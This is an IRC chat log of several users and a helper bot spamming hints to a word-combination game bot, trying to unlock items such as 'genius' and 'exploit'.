[2014-12-31T19:12:58-0500] <alchemy> No can do, buddy.
[2014-12-31T19:12:59-0500] <alchemy> Not on your life.
[2014-12-31T19:13:00-0500] <alchemy> Not this time!
[2014-12-31T19:13:03-0500] <+JacobEdelman> we need knuth
[2014-12-31T19:13:04-0500] <+JacobEdelman> we need knuth
[2014-12-31T19:13:07-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:08-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:08-0500] <alchemy> Not on your life.
[2014-12-31T19:13:09-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:09-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:09-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:13:10-0500] <alchemy> Nope.
[2014-12-31T19:13:11-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:11-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:13:12-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:12-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:12-0500] <alchemy> Not on your life.
[2014-12-31T19:13:13-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:13-0500] <alchemy> Hint: It's possible to make tree with plant!
[2014-12-31T19:13:14-0500] <+JacobEdelman> @hint
[2014-12-31T19:13:14-0500] <alchemy> No can do, buddy.
[2014-12-31T19:13:15-0500] <alchemy> No can do, buddy.
[2014-12-31T19:13:16-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:13:38-0500] <alokpathy> The guidance counselors were right.
[2014-12-31T19:13:51-0500] <alokpathy> We will spend the next few months worrying about our applications when we have no control over them.
[2014-12-31T19:14:01-0500] <alokpathy> This is gonna be a long few months .-.
[2014-12-31T19:14:49-0500] <Tamini_> knuth is probably
[2014-12-31T19:14:50-0500] <Tamini_> uh
[2014-12-31T19:14:55-0500] <Tamini_> computer genius
[2014-12-31T19:15:02-0500] <alokpathy> So we really need genius.
[2014-12-31T19:15:03-0500] <alokpathy> @list
[2014-12-31T19:15:04-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:15:04-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:15:04-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:15:04-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:15:04-0500] <alchemy> That's 69 out of 123!
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[2014-12-31T19:15:42-0500] <Tamini_> lol
[2014-12-31T19:15:45-0500] <+JacobEdelman> and...
[2014-12-31T19:15:47-0500] <alokpathy> Lol, chester.
[2014-12-31T19:15:47-0500] <Tamini_> chester! :)
[2014-12-31T19:15:49-0500] <+JacobEdelman> fail
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[2014-12-31T19:16:10-0500] <chester-bot> @hint
[2014-12-31T19:16:10-0500] <chester-bot> @hint
[2014-12-31T19:16:10-0500] <chester-bot> @hint
[2014-12-31T19:16:10-0500] <chester-bot> @hint
[2014-12-31T19:16:10-0500] <chester-bot> @hint
[2014-12-31T19:16:11-0500] <chester-bot> @hint
[2014-12-31T19:16:11-0500] <chester-bot> @hint
[2014-12-31T19:16:11-0500] <chester-bot> @hint
[2014-12-31T19:16:11-0500] <chester-bot> @hint
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[2014-12-31T19:16:12-0500] <alchemy> Nope.
[2014-12-31T19:16:13-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:16:14-0500] <alchemy> Nope.
[2014-12-31T19:16:14-0500] <+JacobEdelman> done
[2014-12-31T19:16:15-0500] <alchemy> Hint: It's possible to make electricity with earth!
[2014-12-31T19:16:16-0500] <alchemy> Hint: It's possible to make music with noise!
[2014-12-31T19:16:17-0500] <alchemy> Not on your life.
[2014-12-31T19:16:18-0500] <alchemy> Not this time!
[2014-12-31T19:16:19-0500] <alchemy> Not on your life.
[2014-12-31T19:16:20-0500] <alchemy> Nope.
[2014-12-31T19:16:25-0500] <alokpathy> Well, we don't have noise
[2014-12-31T19:16:26-0500] <+JacobEdelman> good
[2014-12-31T19:16:31-0500] <+JacobEdelman> its working
[2014-12-31T19:16:33-0500] <alokpathy> @list
[2014-12-31T19:16:34-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:16:34-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:16:34-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:16:34-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:16:34-0500] <alchemy> That's 69 out of 123!
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[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:43-0500] <chester-bot> @hint
[2014-12-31T19:16:44-0500] <chester-bot> @hint
[2014-12-31T19:16:45-0500] <chester-bot> @hint
[2014-12-31T19:16:45-0500] <alchemy> No can do, buddy.
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[2014-12-31T19:16:46-0500] <alchemy> Nope.
[2014-12-31T19:16:47-0500] <alchemy> No can do, buddy.
[2014-12-31T19:16:48-0500] <alchemy> Nope.
[2014-12-31T19:16:49-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:16:50-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:16:51-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:16:52-0500] <alchemy> Nope.
[2014-12-31T19:16:53-0500] <alchemy> Hint: It's possible to make lifehack with exploit!
[2014-12-31T19:16:54-0500] <alchemy> Hint: It's possible to make penguin with sentience!
[2014-12-31T19:17:06-0500] <alokpathy> But we don't have exploit
[2014-12-31T19:17:08-0500] <alokpathy> but, hm
[2014-12-31T19:17:15-0500] <alokpathy> exploit = hacker + something I think
[2014-12-31T19:17:17-0500] <+JacobEdelman> @combine evl internet
[2014-12-31T19:17:18-0500] <alchemy> You don't have evl!
[2014-12-31T19:17:21-0500] <+JacobEdelman> @combine evil internet
[2014-12-31T19:17:22-0500] <alchemy> evil and internet don't make anything exciting.
[2014-12-31T19:17:23-0500] <alokpathy> @possible binary
[2014-12-31T19:17:24-0500] <alchemy> No, you can't make binary.
[2014-12-31T19:17:26-0500] <alokpathy> @possible binaries
[2014-12-31T19:17:26-0500] <+JacobEdelman> @combine hacker internet
[2014-12-31T19:17:27-0500] <alchemy> No, you can't make binaries.
[2014-12-31T19:17:28-0500] <alchemy> hacker and internet don't make anything exciting.
[2014-12-31T19:17:29-0500] <Tamini_> exploit is hacker+flag
[2014-12-31T19:17:30-0500] <Tamini_> probably
[2014-12-31T19:17:36-0500] <alokpathy> Or that.
[2014-12-31T19:17:37-0500] <Tamini_> @possible flag
[2014-12-31T19:17:38-0500] <alchemy> Yeah, you can make flag.
[2014-12-31T19:17:39-0500] <alokpathy> Yeah.
[2014-12-31T19:17:46-0500] <+JacobEdelman> @combine blackhat internet
[2014-12-31T19:17:46-0500] <alokpathy> how2makeflag
[2014-12-31T19:17:47-0500] <alchemy> blackhat and internet don't make anything exciting.
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[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:52-0500] <chester-bot> @hint
[2014-12-31T19:17:53-0500] <alchemy> No can do, buddy.
[2014-12-31T19:17:53-0500] <chester-bot> @hint
[2014-12-31T19:17:54-0500] <alchemy> Hint: It's possible to make bach with genius!
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[2014-12-31T19:17:55-0500] <alchemy> Nope.
[2014-12-31T19:17:56-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:17:57-0500] <alchemy> Not on your life.
[2014-12-31T19:17:58-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:17:59-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:18:00-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:18:01-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:18:02-0500] <alchemy> No can do, buddy.
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[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:09-0500] <chester-bot> @hint
[2014-12-31T19:18:10-0500] <chester-bot> @hint
[2014-12-31T19:18:10-0500] <chester-bot> @hint
[2014-12-31T19:18:11-0500] <alchemy> You'll be happier if you get it yourself.
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[2014-12-31T19:18:12-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:18:13-0500] <alchemy> Not this time!
[2014-12-31T19:18:14-0500] <alchemy> Not on your life.
[2014-12-31T19:18:15-0500] <alchemy> No can do, buddy.
[2014-12-31T19:18:16-0500] <alchemy> Hint: It's possible to make bug with hacker!
[2014-12-31T19:18:17-0500] <alchemy> Nope.
[2014-12-31T19:18:18-0500] <alchemy> Hint: It's possible to make thunder with cloud!
[2014-12-31T19:18:19-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:18:19-0500] <alokpathy> Hmmm
[2014-12-31T19:18:20-0500] <alchemy> Not this time!
[2014-12-31T19:18:21-0500] <alokpathy> bug with hacker
[2014-12-31T19:18:29-0500] <alokpathy> @list
[2014-12-31T19:18:30-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:18:30-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:18:30-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:18:30-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:18:30-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:18:30-0500] <+JacobEdelman> hacker + foss
[2014-12-31T19:18:36-0500] <+JacobEdelman> that came up earlier
[2014-12-31T19:18:40-0500] <+JacobEdelman> that foss is in bug
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[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:44-0500] <chester-bot> @hint
[2014-12-31T19:18:45-0500] <chester-bot> @hint
[2014-12-31T19:18:45-0500] <chester-bot> @hint
[2014-12-31T19:18:46-0500] <alchemy> Nope.
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[2014-12-31T19:18:47-0500] <alchemy> Not on your life.
[2014-12-31T19:18:48-0500] <alchemy> Hint: It's possible to make euler with genius!
[2014-12-31T19:18:49-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:18:50-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:18:51-0500] <alchemy> Nope.
[2014-12-31T19:18:52-0500] <alchemy> Not this time!
[2014-12-31T19:18:53-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:18:54-0500] <alchemy> Not this time!
[2014-12-31T19:18:55-0500] <alchemy> No can do, buddy.
[2014-12-31T19:18:57-0500] <alokpathy> We really need genius LOL
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[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:03-0500] <chester-bot> @hint
[2014-12-31T19:19:04-0500] <chester-bot> @hint
[2014-12-31T19:19:04-0500] <chester-bot> @hint
[2014-12-31T19:19:04-0500] <+JacobEdelman> goona keep trying
[2014-12-31T19:19:04-0500] <chester-bot> @hint
[2014-12-31T19:19:05-0500] <alchemy> Nope.
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[2014-12-31T19:19:06-0500] <alchemy> Not this time!
[2014-12-31T19:19:07-0500] <alchemy> No can do, buddy.
[2014-12-31T19:19:08-0500] <alchemy> Nope.
[2014-12-31T19:19:09-0500] <alchemy> Hint: It's possible to make ice with water!
[2014-12-31T19:19:10-0500] <alchemy> Hint: It's possible to make foss with computer!
[2014-12-31T19:19:10-0500] <+JacobEdelman> well, gtg
[2014-12-31T19:19:11-0500] <alchemy> Not on your life.
[2014-12-31T19:19:12-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:19:13-0500] <alchemy> Hint: It's possible to make computer with electricity!
[2014-12-31T19:19:15-0500] <alchemy> Not this time!
[2014-12-31T19:19:15-0500] <alokpathy> Oh, foss with computer
[2014-12-31T19:19:21-0500] <alokpathy> Hmmmmmm
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[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:32-0500] <chester-bot> @hint
[2014-12-31T19:19:33-0500] <chester-bot> @hint
[2014-12-31T19:19:33-0500] <chester-bot> @hint
[2014-12-31T19:19:33-0500] <chester-bot> @hint
[2014-12-31T19:19:34-0500] <alchemy> Giving up already? Give it a real try.
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[2014-12-31T19:19:35-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:19:36-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:19:37-0500] <alchemy> Hint: It's possible to make stallman with hacker!
[2014-12-31T19:19:38-0500] <alchemy> Nope.
[2014-12-31T19:19:39-0500] <alchemy> Not this time!
[2014-12-31T19:19:40-0500] <alchemy> Nope.
[2014-12-31T19:19:41-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:19:42-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:19:43-0500] <alchemy> Hint: It's possible to make exploit with blackhat!
[2014-12-31T19:19:46-0500] <alokpathy> wait
[2014-12-31T19:19:48-0500] <+JacobEdelman> aahh, stallman+ computer or something
[2014-12-31T19:19:54-0500] <alokpathy> @combine blackhat hacker
[2014-12-31T19:19:55-0500] <alchemy> blackhat and hacker don't make anything exciting.
[2014-12-31T19:19:55-0500] <+JacobEdelman> to get foss?
[2014-12-31T19:20:04-0500] <alokpathy> Probably.
[2014-12-31T19:20:04-0500] <+JacobEdelman> @combine joy hacker
[2014-12-31T19:20:05-0500] <alchemy> You already combined joy and hacker to get python.
[2014-12-31T19:20:10-0500] <+JacobEdelman> @combine joy blackhat
[2014-12-31T19:20:11-0500] <alchemy> joy and blackhat don't make anything exciting.
[2014-12-31T19:20:12-0500] <alokpathy> @combine hacker man
[2014-12-31T19:20:13-0500] <alchemy> hacker and man don't make anything exciting.
[2014-12-31T19:20:14-0500] <+JacobEdelman> @combine joy whitehat
[2014-12-31T19:20:14-0500] <alchemy> joy and whitehat don't make anything exciting.
[2014-12-31T19:20:17-0500] <+JacobEdelman> @combine joy internet
[2014-12-31T19:20:18-0500] <alchemy> joy and internet don't make anything exciting.
[2014-12-31T19:20:19-0500] <alokpathy> @possible freedom
[2014-12-31T19:20:19-0500] <alchemy> No, you can't make freedom.
[2014-12-31T19:20:24-0500] <alokpathy> @possible open
[2014-12-31T19:20:25-0500] <alchemy> No, you can't make open.
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[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:26-0500] <chester-bot> @hint
[2014-12-31T19:20:27-0500] <chester-bot> @hint
[2014-12-31T19:20:27-0500] <chester-bot> @hint
[2014-12-31T19:20:27-0500] <chester-bot> @hint
[2014-12-31T19:20:28-0500] <alchemy> You'll be happier if you get it yourself.
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[2014-12-31T19:20:29-0500] <alchemy> Nope.
[2014-12-31T19:20:30-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:20:31-0500] <alchemy> No can do, buddy.
[2014-12-31T19:20:32-0500] <alchemy> Not on your life.
[2014-12-31T19:20:32-0500] <Tamini_> okay jacob stop now
[2014-12-31T19:20:33-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:20:34-0500] <ubuntor> ...
[2014-12-31T19:20:34-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:20:35-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:20:36-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:20:36-0500] <+JacobEdelman> fine
[2014-12-31T19:20:37-0500] <alchemy> Hint: It's possible to make villain with evil!
[2014-12-31T19:20:37-0500] <+JacobEdelman> gtg
[2014-12-31T19:20:40-0500] <+JacobEdelman> good bye
[2014-12-31T19:20:41-0500] <Tamini_> @combine blackhat computer
[2014-12-31T19:20:42-0500] <alokpathy> JacobEdelman: See ya.
[2014-12-31T19:20:44-0500] <alchemy> blackhat and computer don't make anything exciting.
[2014-12-31T19:20:50-0500] <Tamini_> JacobEdelman: later bro
[2014-12-31T19:21:05-0500] <alokpathy> exploit = blackhat + something
[2014-12-31T19:21:10-0500] <Tamini_> @combine blackhat internet
[2014-12-31T19:21:10-0500] <alchemy> blackhat and internet don't make anything exciting.
[2014-12-31T19:21:10-0500] <alokpathy> evidently not man
[2014-12-31T19:21:10-0500] <Tamini_> mhm
[2014-12-31T19:21:16-0500] <alokpathy> @combine blackhat computer
[2014-12-31T19:21:17-0500] <alchemy> blackhat and computer don't make anything exciting.
[2014-12-31T19:21:20-0500] <alokpathy> @list
[2014-12-31T19:21:21-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:21:21-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:21:21-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:21:21-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:21:21-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:21:21-0500] <Tamini_> @combine blackhat internet
[2014-12-31T19:21:22-0500] <alchemy> blackhat and internet don't make anything exciting.
[2014-12-31T19:21:26-0500] <alokpathy> @combine blackhat evil
[2014-12-31T19:21:27-0500] <alchemy> blackhat and evil don't make anything exciting.
[2014-12-31T19:21:35-0500] <alokpathy> @combine blackhat aaron
[2014-12-31T19:21:36-0500] <alchemy> blackhat and aaron don't make anything exciting.
[2014-12-31T19:21:38-0500] <alokpathy> @combine blackhat alok
[2014-12-31T19:21:39-0500] <alchemy> blackhat and alok don't make anything exciting.
[2014-12-31T19:21:41-0500] <alokpathy> @combine blackhat jacob
[2014-12-31T19:21:42-0500] <alchemy> blackhat and jacob don't make anything exciting.
[2014-12-31T19:21:48-0500] <alokpathy> @combine blackhat whitespace
[2014-12-31T19:21:49-0500] <alchemy> blackhat and whitespace don't make anything exciting.
[2014-12-31T19:22:00-0500] <alokpathy> Nyeh
[2014-12-31T19:22:01-0500] <ubuntor> @combine blackhat python
[2014-12-31T19:22:02-0500] <alchemy> blackhat and python don't make anything exciting.
[2014-12-31T19:22:20-0500] <ubuntor> @combine blackhat linux
[2014-12-31T19:22:20-0500] <alchemy> blackhat and linux don't make anything exciting.
[2014-12-31T19:22:29-0500] <alokpathy> @hitn
[2014-12-31T19:22:30-0500] <alokpathy> @hint
[2014-12-31T19:22:31-0500] <alchemy> No can do, buddy.
[2014-12-31T19:22:32-0500] <alokpathy> @hint
[2014-12-31T19:22:33-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:22:34-0500] <alokpathy> @hint
[2014-12-31T19:22:35-0500] <alchemy> Not this time!
[2014-12-31T19:22:36-0500] <alokpathy> @hint
[2014-12-31T19:22:36-0500] <alchemy> Hint: It's possible to make sentience with light!
[2014-12-31T19:22:38-0500] <alokpathy> @hint
[2014-12-31T19:22:39-0500] <alchemy> No can do, buddy.
[2014-12-31T19:22:40-0500] <alokpathy> @hint
[2014-12-31T19:22:40-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:22:41-0500] <alokpathy> @hint
[2014-12-31T19:22:42-0500] <alchemy> Not this time!
[2014-12-31T19:22:43-0500] <alokpathy> @hint
[2014-12-31T19:22:43-0500] <alchemy> No can do, buddy.
[2014-12-31T19:22:44-0500] <alokpathy> @hint
[2014-12-31T19:22:44-0500] <ubuntor> @combine blackhat hacker
[2014-12-31T19:22:45-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:22:45-0500] <alokpathy> @hint
[2014-12-31T19:22:46-0500] <alchemy> blackhat and hacker don't make anything exciting.
[2014-12-31T19:22:47-0500] <alchemy> Hint: It's possible to make soil with rain!
[2014-12-31T19:22:54-0500] <alokpathy> @list
[2014-12-31T19:22:55-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:22:55-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:22:55-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:22:55-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:22:55-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:23:04-0500] <ubuntor> @combine blackhat google
[2014-12-31T19:23:05-0500] <alchemy> blackhat and google don't make anything exciting.
[2014-12-31T19:23:42-0500] <alokpathy> @combine blackhat boat
[2014-12-31T19:23:43-0500] <alchemy> blackhat and boat don't make anything exciting.
[2014-12-31T19:24:35-0500] <ubuntor> @combine blackhat tool
[2014-12-31T19:24:35-0500] <alchemy> blackhat and tool don't make anything exciting.
[2014-12-31T19:24:57-0500] <alokpathy> Maybe blackhat + genius = exploit LOL
[2014-12-31T19:26:21-0500] <Tamini_> oh maybe LOL
[2014-12-31T19:26:25-0500] <Tamini_> goddamit find a genius pls
[2014-12-31T19:29:45-0500] <alokpathy> @hint
[2014-12-31T19:29:45-0500] <alchemy> Not on your life.
[2014-12-31T19:29:48-0500] <alokpathy> @hint
[2014-12-31T19:29:48-0500] <alokpathy> @hint
[2014-12-31T19:29:48-0500] <alokpathy> @hint
[2014-12-31T19:29:48-0500] <alokpathy> @hint
[2014-12-31T19:29:48-0500] <alchemy> Not on your life.
[2014-12-31T19:29:49-0500] <alchemy> No can do, buddy.
[2014-12-31T19:29:50-0500] <alchemy> Hint: It's possible to make blackhat with hacker!
[2014-12-31T19:29:51-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:29:54-0500] <alokpathy> @hint
[2014-12-31T19:29:54-0500] <alchemy> Nope.
[2014-12-31T19:29:55-0500] <alokpathy> @hint
[2014-12-31T19:29:55-0500] <alchemy> Hint: It's possible to make pdgn with friendship!
[2014-12-31T19:29:55-0500] <alokpathy> @hint
[2014-12-31T19:29:56-0500] <alokpathy> @hint
[2014-12-31T19:29:56-0500] <alokpathy> @hint
[2014-12-31T19:29:56-0500] <alokpathy> @hint
[2014-12-31T19:29:56-0500] <alchemy> Not this time!
[2014-12-31T19:29:57-0500] <alchemy> Not on your life.
[2014-12-31T19:29:58-0500] <alchemy> Giving up already? Give it a real try.
[2014-12-31T19:29:59-0500] <alchemy> Not this time!
[2014-12-31T19:30:00-0500] <alokpathy> @hint
[2014-12-31T19:30:00-0500] <alokpathy> @hint
[2014-12-31T19:30:00-0500] <alchemy> No can do, buddy.
[2014-12-31T19:30:01-0500] <alokpathy> @hint
[2014-12-31T19:30:01-0500] <alchemy> No can do, buddy.
[2014-12-31T19:30:02-0500] <alokpathy> @hint
[2014-12-31T19:30:02-0500] <alchemy> Nope.
[2014-12-31T19:30:03-0500] <alokpathy> @hint
[2014-12-31T19:30:03-0500] <alchemy> No can do, buddy.
[2014-12-31T19:30:04-0500] <alchemy> Not this time!
[2014-12-31T19:30:06-0500] <alokpathy> Darn.
[2014-12-31T19:30:09-0500] <alokpathy> @list
[2014-12-31T19:30:10-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:30:11-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:30:11-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:30:11-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:30:11-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:30:28-0500] <alokpathy> Lol, puddle
[2014-12-31T19:30:59-0500] <Tamini_> wait what puddle
[2014-12-31T19:31:00-0500] <Tamini_> lol
[2014-12-31T19:31:07-0500] <Tamini_> @hint
[2014-12-31T19:31:08-0500] <alchemy> No can do, buddy.
[2014-12-31T19:31:10-0500] <Tamini_> @hint
[2014-12-31T19:31:11-0500] <alokpathy> Tamini_: 7:30 PM <alchemy> You have: plant, pool, puddle
[2014-12-31T19:31:12-0500] <alchemy> Not this time!
[2014-12-31T19:31:17-0500] <Tamini_> @hint
[2014-12-31T19:31:19-0500] <alchemy> Not this time!
[2014-12-31T19:31:19-0500] <Tamini_> :P
[2014-12-31T19:31:22-0500] <alokpathy> @hint
[2014-12-31T19:31:23-0500] <alchemy> Not on your life.
[2014-12-31T19:31:23-0500] <Tamini_> @hint
[2014-12-31T19:31:24-0500] <alchemy> Not this time!
[2014-12-31T19:31:24-0500] <alokpathy> @hint
[2014-12-31T19:31:24-0500] <alokpathy> @hint
[2014-12-31T19:31:25-0500] <alchemy> Nope.
[2014-12-31T19:31:25-0500] <alokpathy> @hint
[2014-12-31T19:31:26-0500] <alchemy> No can do, buddy.
[2014-12-31T19:31:26-0500] <Tamini_> @hint
[2014-12-31T19:31:27-0500] <alchemy> No can do, buddy.
[2014-12-31T19:31:28-0500] <alchemy> You'll be happier if you get it yourself.
[2014-12-31T19:31:30-0500] <Tamini_> @hint
[2014-12-31T19:31:31-0500] <alchemy> Nope.
[2014-12-31T19:31:32-0500] <Tamini_> i feel like
[2014-12-31T19:31:32-0500] <alokpathy> Where's chester-bot when you need it? :/
[2014-12-31T19:31:39-0500] <Tamini_> we're entirely exploiting the cheat function
[2014-12-31T19:31:45-0500] <alokpathy> xD
[2014-12-31T19:38:20-0500] <alokpathy> @list
[2014-12-31T19:38:21-0500] <alchemy> You have: aaron, air, alok, blackhat, boat, chivalry, cloud, computer, crops, earth, electricity, energy, engine, ent, evil, fire, fireman, friendship, google, hacker
[2014-12-31T19:38:21-0500] <alchemy> You have: hal, hole, ice, internet, jacob, joy, knight, lava, light, lightning, linux, man, metal, mountain, neanderthal, ocean, olaf, paper, pdgn, penguin
[2014-12-31T19:38:21-0500] <alchemy> You have: plant, pool, puddle, python, rain, rainbow, robot, rust, sandstorm, sculpture, sentience, ship, snow, snowman, soil, starship, steam, stone, sword, thunder
[2014-12-31T19:38:21-0500] <alchemy> You have: tool, tornado, tree, tsunami, villain, water, whitehat, whitespace, wind
[2014-12-31T19:38:21-0500] <alchemy> That's 69 out of 123!
[2014-12-31T19:38:24-0500] <alokpathy> Darn I need something to do
[2014-12-31T19:38:28-0500] <alokpathy> Hm
